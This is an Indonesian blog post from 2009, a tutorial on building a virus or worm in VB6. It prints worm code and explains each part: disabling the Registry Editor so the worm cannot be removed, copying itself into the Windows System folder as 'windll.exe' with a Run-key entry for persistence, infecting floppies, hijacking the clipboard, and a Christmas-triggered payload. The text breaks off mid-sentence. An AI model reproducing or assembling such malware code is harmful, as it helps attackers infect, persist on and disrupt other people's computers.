Jumat, 16 Januari 2009

Dasar Perakitan Virus Via VB6

Beberapa dekade belakangan ini mulai banyak bermunculan virus/worm lokal yang dirakit menggunakan bahasa pemrograman VB6. Bagaimanakah teknik pembuatan virus tersebut ? Disini saya akan memberikan sedikit ilustrasi mengenai dasar perakitan Virus/Worm dengan menggunakan bahasa pemrograman VB6.
Pada dasarnya sebuah Virus/Worm memiliki ciri khas berikut :
1.Mampu menggandakan diri
2.Mampu melindungi diri [stealth]
3.Mampu memanipulasi sistem
4.Mampu unjuk gigi [pamer]
5.Mampu melakukan rekayasa sosial.
Kita lanjut dengan contoh potongan coding virus/worm menggunakan VB6. Coding sengaja dipotong untuk menghindari anak kecil yang lagi belajar copy paste dan ga sengaja bikin virus di VB Smile
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance = True Then End
Call RegDisable
Call InfeksiSistem
If App.Path = “A:\” Or “B:\” Then
Unload Me
End If
End Sub
Potongan kode ini melakukan beberapa hal yaitu :
On Error Resume Next :
Apabila terjadi error, maka program akan melanjutkan rutin kode selanjutnya.
If App.PrevInstance = True Then End :
Apabila virus telah aktif, maka akhiri program.
Call RegDisable
Call InfeksiSistem
Memanggil rutin prosedur RegDisable dan Infeksi sistem .
If App.Path = “A:\” Or “B:\” Then
Unload Me
Apabila virus aktif pada drive A:\ atau B:\ maka akhiri program.
Private Sub WormTimer_Timer()
On Error Resume Next
Clipboard.Clear
Clipboard.SetText “Ohh rembulan….. !!!”
End Sub
Kode diatas merupakan prosedur timer, yang akan dieksekusi setiap panjang detik tertentu.Saat dieksekusi, virus akan melakukan perintah :
Clipboard.Clear
Clipboard.SetText “Ohh rembulan….. !!!”
yaitu menghapus clipboard pada komputer anda, dan setiap kali anda melakukan fungsi “paste” pada program , maka akan tercetak tulisan “Ohh rembulan…. !!!”
Private Sub WormTimer2_Timer()
On Error Resume Next
Call InfeksiDisket
If Day(Now) = 25 And Month(Now) = 12 Then
Call Payload
Unload Me
End If
End Sub
Kode ini juga merupakan prosedur timer yang akan dieksekusi setiap detik tertentu, saat dieksekusi virus akan melakukan perintah :
Call InfeksiDisket
If Day(Now) = 25 And Month(Now) = 12 Then
Call Payload
Unload Me
Yaitu memanggil prosedur InfeksiDisket, kemudian jika hari ini adalah Natal, yaitu tanggal 25 Desember, maka virus memanggil prosedur Payload. Jika Bukan hari natal, maka virus tidak memanggil prosedur ini.
Function RegString(HiveAndKey As String,Value As String)
Dim wormreg As Variant
Set wormreg = CreateObject(”wscript.Shell”)
wormreg.Regwrite HiveAndKey, Value
End Function
Function RegDWord(HiveAndKey As String,Value As Integer)
Dim wormreg As Variant
Set wormreg = CreateObject(”wscript.shell”)
wormreg.Regwrite HiveAndKey, Value, “REG_DWORD”
End Function
Pada baris kode ini, virus mendeklarasikan fungsi RegString dan RegDWord untuk melakukan manipulasi pada registry windows.
Private Sub RegDisable()
On Error Resume Next
RegDWord “HKCU\Software\Microsoft\Windows\Current” &_
“Version\Policies\System\DisableRegistryTools”, 1
End Sub
Pada prosedur RegDisable ini , Virus akan menonaktifkan fungsi Regedit pada Windows, sehingga dapat melindungi dirinya dari penghapusan.
Private Sub InfeksiSistem()
On Error Resume Next
Dim infeksiworm As Variant
Dim sysfolder As Object
Set infeksiworm = CreateObject(”scripting.filesystemobject”)
Set sysfolder = infeksiworm.GetSpecialFolder(1)
FileCopy WormFile, sysfolder & “\” & “windll.exe”
RegString “HKLM\Software\Microsoft\Windows\Curr” & “entVersion\Run\windll”, sysfolder & “\” & “windll.exe”
End Sub
Pada prosedur InfeksiSistem, virus akan mencari direktori System Windows dengan baris kode dibawah ini :
Dim infeksiworm As Variant
Dim sysfolder As Object
Set infeksiworm = CreateObject(”scripting.filesystemobject”)
Set sysfolder = infeksiworm.GetSpecialFolder(1)
Kemudian Virus akan menggandakan dirinya dengan baris kode berikut :
FileCopy WormFile, sysfolder & “\” & “windll.exe”
Selain itu virus juga akan memanipulasi registry ag

Tidak ada komentar:

Posting Komentar